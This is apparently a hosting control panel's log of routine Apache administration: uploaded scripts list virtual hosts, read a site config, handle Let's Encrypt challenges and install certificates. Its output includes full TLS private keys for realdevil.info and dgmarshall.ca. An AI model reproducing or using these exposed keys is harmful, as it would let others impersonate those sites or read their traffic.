if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-09 06:00:19: 

chmod 755 /tmp/pkp627769; /tmp/pkp627769; rm /tmp/pkp627769

2026-04-09 06:00:20: 


.


2026-04-09 06:00:20: Establishing a connection
2026-04-09 06:00:20: 

PUT: /tmp/pkp871260

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-09 06:00:20: 

chmod 755 /tmp/pkp871260; /tmp/pkp871260; rm /tmp/pkp871260

2026-04-09 06:00:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-09 06:00:20: 

PUT: /tmp/pkp530687

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realdevil_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-09 06:00:20: 

chmod 755 /tmp/pkp530687; /tmp/pkp530687; rm /tmp/pkp530687

2026-04-09 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf	1381

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-09 06:00:20: 

PUT: /tmp/pkp207959

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-09 06:00:20: 

chmod 755 /tmp/pkp207959; /tmp/pkp207959; rm /tmp/pkp207959

2026-04-09 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem	5369
35:94:73:6a:b9:39:c0:11:a3:22:ee:70:28:a3:0b:41

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBlpKbF5ZjvMSG/CSny0sMDwxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA5MDUwMTQ3WhcNMjYwNzA4MDUwMTQ2WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM2hSf9Av/eAcR3nlC5j7WCNiux5HqatbhTL+mAeA3NpBLmxT/F7Kkv7SkBzF9C/
BW03//HW3MMJ+dtkf2DO1SYqcMGDD1uj6bK2Q1uFabn6K/KlhrmyCcNsCtIoWtho
0yYNTX5qOLsXNweI32niDelRjO3oa7qZ0sdv8Q6qCCrCqxTPJh/v1gRbCyMGiosT
Chi4r6lS80fDKMB1t8RmzHF7LQz/iDkprrKss22Y/0PkHWK86BTCullfvu37ps5w
AwOk/tYB5psXJnrp33oRuW7lPm4XF3blDSjOpZ3o19D2bYtSOWXxvkJm3Uvo0L9V
IHhHmwYrtVe+hzPdT8fi+oUCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQcGoFR
k6zrnwwfK9qHJ5tDiN6cwTAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDnJlYWxkZXZpbC5pbmZvghJ3d3cucmVhbGRldmls
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy81MC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdQDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ1w07uTAAAE
AwBGMEQCICiMQh/cE1cejgPoy/Kg2Q8LNz44MI42PX2AXttag3GhAiBO4hGD4L39
RaXgmW4G572GHKkya0vgU7RtDAHGJYR6PAB/AKgmy+MKxjUSRlM/4GXxTxnZbhkI
E8Qd2W15ALMSPFUnAAABnXDTv0IACAAABQAGMAGIBAMASDBGAiEAyETBSZt/XV1U
0kHUsCiedxn+xEA1e+97GnwibNcr4ewCIQCsm+1y6AHR+bOzAG4loRIS7LpWOqE0
GwRJZYy0e253gDANBgkqhkiG9w0BAQsFAAOCAQEAZwzUI9y9wsTsCAmzTy24it5f
+k8AMEQWbw/Apk9gmlZw3HxG1BdpOPMuzUvSZ6iJHjM78UjhA1UkYTuMHFA0L/23
AFbUxC5wnYqe7RLZloB1DNOM6QUJE06Ahb3aZTfYY9VFZEzOza+KfvUDrZB3/jjp
323g0i816jheD//uA+X/GNDCecMxjXsdMVSbikxNnbgajdP0ebPAXIMUDFSTPQUU
fJyt3GZ1a8woE9IpoIEMPZAVP7nazEZY8+ey7hHmbyaEJmAoJzP7bdtFSFrpC4lW
Rt3lE+oMWc7XXGUbFOA5n6Q7xIj0RV8eOSndRKeJCLp0TUg/pjuqEb4zK9msYg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDNoUn/QL/3gHEd
55QuY+1gjYrseR6mrW4Uy/pgHgNzaQS5sU/xeypL+0pAcxfQvwVtN//x1tzDCfnb
ZH9gztUmKnDBgw9bo+mytkNbhWm5+ivypYa5sgnDbArSKFrYaNMmDU1+aji7FzcH
iN9p4g3pUYzt6Gu6mdLHb/EOqggqwqsUzyYf79YEWwsjBoqLEwoYuK+pUvNHwyjA
dbfEZsxxey0M/4g5Ka6yrLNtmP9D5B1ivOgUwrpZX77t+6bOcAMDpP7WAeabFyZ6
6d96Eblu5T5uFxd25Q0ozqWd6NfQ9m2LUjll8b5CZt1L6NC/VSB4R5sGK7VXvocz
3U/H4vqFAgMBAAECggEAK3spjIIClbFhOfOYD98teLc1Yx+RbalKl7cyMFToYeUZ
DLMDtopWvU5buxkbNhbObPPkeRz3/X4EiXHMxYm25KUgxqqR+szEQ/fqclXZr2vJ
EzwRKv8MtXgJKbtCynQQAgHaGxsW9+jGyB8XLuqQCoAmDsCQ1xpjyaxQCsvFglTa
Ka0/2qDgUnrQwcz8ekChxDRbPSj62YeDEjTSmbB0kJdHZ8Oqqfn5KPqT69BU6KoF
4GXTsBni8EBnDmlhPV+1HDHNbX6r6V5UuZrbptD2YIG0k4IKak7BmklMx8MTS/FD
S5vtV5t9QqFwI2xQoI7udVU5xnub/+d0y1HHM2U5mQKBgQD7rydRgQtafNYMIYfQ
YYVglTnlscmpgHolvf5j51Wn37c5ZXtm6xgyn7fauvLa1u0p7y1Y2p1+kgCj90Hm
PTMEjYinV+4PFcsvMcuV97I6AJXbQAYd1Smwgr7uonrmf+8df6u94Ol0AmvhIKcM
w9aRK9wwHU4z08Kuz6M90o/svwKBgQDRJ/diYqghwxe5NAFTpph8rrhTC9DQ2CA/
wRw9ieGzA7XWoeFpSF3nwSmWx1WMoeQsHnqu7aNGTk+jPj7NQ00hagyliSjWmKbs
+pQV091s21Yz1FmAepWRUI0gl3SvKgDJi5v44vib3J6IEXXI6sQS2+MtNwSMkkq/
2E0WeyK1uwKBgFv54HaKoCmLYXXBcy6V1PY80pG8bSQCjaDpU+QSkFzvBrh0+6na
1Fb7w2at1z5eOQGQJJRKIDA3DwDcxTpstw484um02oysvDodCndds8Y6nIkpVpLk
aX3V6gyvWBaQPkQbehnD7cy1bdMx6ZpinzEiRC9ZJlEOXCEiRFe9cVdlAoGBAL8c
oLwCX5Sx+fxdW5T+1bifwYcIdd5OjXET1+UXFucGzeF3e0tDN6Lq6kB+lVnyF1aE
5x7tvtIf/j6wQpw2EcUlbLbZFDq5s1U4RZWISHwOEr87Gij+Wao1Cy8rlQ/09lEy
wurxIa7xMN4t7g0PDugYiYUoD30Os0SGtTGEhBu/AoGBAIutIopFFYyfWVoN7OxY
pe+/is+/Lq0s5QI79rRSMLdb134VHRI11QCk5JCQxTklydZW5DZC7vrr7/rIBea7
GZfzyAcyCJ1yc6HVl8NJiA28KWQSyMNk8TnGFY3cO88/ld+iI+m+kkbFL0/gYJDO
9ublwOY+1QhWrj+mKabjE25w
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-09 06:00:21: Establishing a connection
2026-04-09 06:00:21: Establishing a connection
2026-04-09 06:00:21: 

PUT: /tmp/pkp640931

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-09 06:00:22: 

chmod 755 /tmp/pkp640931; /tmp/pkp640931; rm /tmp/pkp640931

2026-04-09 06:00:22: 


1


2026-04-09 06:00:22: Establishing a connection
2026-04-09 06:00:22: 

PUT: /tmp/pkp249157

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > qOtfVPcN4aLn8b_FmTFDwBcFPxwvBHiUq_CIUW7Oj0Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qOtfVPcN4aLn8b_FmTFDwBcFPxwvBHiUq_CIUW7Oj0Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qOtfVPcN4aLn8b_FmTFDwBcFPxwvBHiUq_CIUW7Oj0Q
cat > 336C0IDwkxC6IXfhEacap1eiZLpbdKpPxJIAL8fCWzQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
336C0IDwkxC6IXfhEacap1eiZLpbdKpPxJIAL8fCWzQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 336C0IDwkxC6IXfhEacap1eiZLpbdKpPxJIAL8fCWzQ


2026-04-09 06:00:23: 

chmod 755 /tmp/pkp249157; /tmp/pkp249157; rm /tmp/pkp249157

2026-04-09 06:00:23: 




2026-04-09 06:00:33: Establishing a connection
2026-04-09 06:00:34: 

PUT: /tmp/pkp673263

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm qOtfVPcN4aLn8b_FmTFDwBcFPxwvBHiUq_CIUW7Oj0Q
rm 336C0IDwkxC6IXfhEacap1eiZLpbdKpPxJIAL8fCWzQ


2026-04-09 06:00:34: 

chmod 755 /tmp/pkp673263; /tmp/pkp673263; rm /tmp/pkp673263

2026-04-09 06:00:34: 




2026-04-09 06:00:34: Establishing a connection
2026-04-09 06:00:34: 

PUT: /tmp/pkp365215

#!/bin/bash
temp_file=$(mktemp)
TARGET=81f76087f3fb05d6e60af69d2a7f0ab7.crt

cat > $temp_file <<'endmsg'
21:3a:1f:d1:e0:79:18:8e:91:9e:8a:d9:cd:88:78:44

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBvHtw2IpOGsGp1JoL9LX9mIyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA5MDUwMjAyWhcNMjYwNzA4MDUwMjAxWjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
oyIVczS6v7zpIcde93vMMwDMlmg8nPVwEGojyhqyLa41d2KAR3kHTzN6ALlpz7JB
l8RG3dH41C+YiJNBUn9Md1rSVz5kZPMx529AfPTDCk6JU8blYVOEoGq7QRNJYyJ/
nhVrYIzC9mCJKwmZEe6TFCHEtKMna++cvqldy61/zXyJSIIRpNWVF8OHqv2tXoGV
UmPGlH5uP/aEleEggCaXSfhZNatOTBBuHRl3HmllkkjYIrvTbaaWOL6ZKwIR7xre
YDq0BVe3A8g7R2siOE02PgmLXsWbbDSvfcwqgnXCuGvSqWWyvtMbsF+CdXscXkI2
2oeghsB7q6LMuoC9oIgHqQIDAQABo4ICLzCCAiswDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFMdeCeTo
cYc8naZN/0kbo+LspZblMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIz
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINZGdtYXJzaGFsbC5jYYIRd3d3LmRnbWFyc2hhbGwu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMy5jLmxlbmNyLm9yZy81MS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ1w0/Y6AAAEAwBI
MEYCIQDnZNjwmq8MT74W8kYaj8z8mY1xE+Lmq95+iNuTlt9eiQIhAPmOKSNT0G2O
cW6CBRBvUqS5CdP58rfnFEOWuEf/3GSCAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgT
xB3ZbXkAsxI8VScAAAGdcNP52gAIAAAFAAYwAzAEAwBHMEUCIQClmU89iotD/dsK
L7qvUq8EuGaKxU3SmTzWxH1IUD2ewwIgQZ8cXjqOWVdbTJnRQH1E9ecRaYzfVWGY
nCTSBIZxacAwDQYJKoZIhvcNAQELBQADggEBAIGrEmdhR/KOZiY2W7aC/Kmf0zP2
1EX1SB2tjUc5dr54OPQB4PEDZ1YUtedxnCAnbZMep8707vL/CHNiSGsJEf/KSG1T
+mXdidWjZaQ9kuBVzjErnP6qawmdee8lcyf8d1ABVb1LqFAxWrT4rEsebPHkBVxH
YoKN3+/RweRds05awFs6z7ZPRvXfflwwbShS8nsQGfjMXHVj0RcOt8qEP15lJ0SQ
Gw488jaiKLzJz83Ofgo7XUt62on8UhfUjKQkc9DuTynmL0LugAuTDG8PTZPISRE2
PbUUnP0CCD3G1dryP64iW9j6RfDnYfoUQS2zGOztJAlnlcJZOn40oQAQpSQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCjIhVzNLq/vOkh
x173e8wzAMyWaDyc9XAQaiPKGrItrjV3YoBHeQdPM3oAuWnPskGXxEbd0fjUL5iI
k0FSf0x3WtJXPmRk8zHnb0B89MMKTolTxuVhU4SgartBE0ljIn+eFWtgjML2YIkr
CZkR7pMUIcS0oydr75y+qV3LrX/NfIlIghGk1ZUXw4eq/a1egZVSY8aUfm4/9oSV
4SCAJpdJ+Fk1q05MEG4dGXceaWWSSNgiu9NtppY4vpkrAhHvGt5gOrQFV7cDyDtH
ayI4TTY+CYtexZtsNK99zCqCdcK4a9KpZbK+0xuwX4J1exxeQjbah6CGwHurosy6
gL2giAepAgMBAAECggEABoS3mB5tZLkKVOjpOtOcf6sP9xBuyplKkJdYeyxeU1xf
OHg2wWmyQMg2aetpZqzmuXx0lfYRyVMRDIpbcqMm9avK/5oyQK/l3guYR13wN1wB
xAJCBbsZ+l8la2wMk3Hhk6TOC8y4GMhCTDZSbTC2pGLAisoW//Vnkp1EeT2N/6fi
eSlZ87ucDJztbd/fWfq9t07L9+GjKEKsNfKAiEQzEbkerN2kSmz20qojqvk9ja+j
TGmwnJQfES11SjxTCm9QVXeRm8o/ZBQvzGH8tVQmavduiEeJXxt1RG8ZTgmMrUA9
vZ1i0AsuNJo+IBQLXPS4YeGpn/tEaEzaW8CqM0tNIQKBgQDQmo13SeOGXOBy7a/j
ZICO6ybYFeNYeqnAoTMxiLYU4n2KFkpjwQtuUjVCAifU/1oLhETGRBLld8b9LM5i
Lvt7stGaPLpQdLHka9MC9qY5qfKQRyiqoaAGLqZJ0xziTbCU3ar/OHtcU8MNbCRX
Wo91MXhCCuRDCV0iguYxado4SQKBgQDIMrtyufoIrgrR070GFXLdl7ZrAChWcZD4
ibUI/zaJ4dNtuGE5AO5/qOhrVruKL6YdErNZeA3M75hqnk90lNvFjG5HUOp7Q5Lg
+7RM1GnNd9DSvPwKWFeybn0K15B/EcBDuF50BX6BLigcYyqIGEWz5zi+nFvrpIxN
2IgawtsUYQKBgQDLN9VbAZNy4OYTcHRqHQ2UrYbg+anKF21p6GB8AAgKHn9YV9DO
j1C4f8O8c2ckfELXd1qcn9Kc02v6Vn0Ub1q1LgY9sK19FcH7mgMuHuTexi402e3H
FL9VZnq+7rhzymWdELm1+utKjZs2Z0ScCPA6ph/Wjs/CcsvVhBoGx208aQKBgQDH
uYU0ccG2gxucNedweFl+JOsCWMflZatBqPCJJ0PbzwXFgprL6dgGWBZ3b7HtrJfG
jW+MJK9v8uBWDdYq8o9GyFEEqP8lNkcEWViJBakAKTaV56BzGat0AbKR7HjlrGnp
pbfle823RrsRhwVZfQ2c62K7FvbFYgXva8RtHlS+QQKBgQCAPAZHL5d1Vm2EZBp0
k0NDHHI6L8LMNm+j8BDKo+d5c0krQfitsvyH1mrlzMFLgyqm2WPQqY+FtSmDlv7/
YZs5je/5oxM+PoiaktsFyOyYq0x8xP08hIC8UV00/IjDwJ9ca9OUUBSnLGJ+0rYP
Yyhgy9Vn/dg/PQfJ6l2CIHChKg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
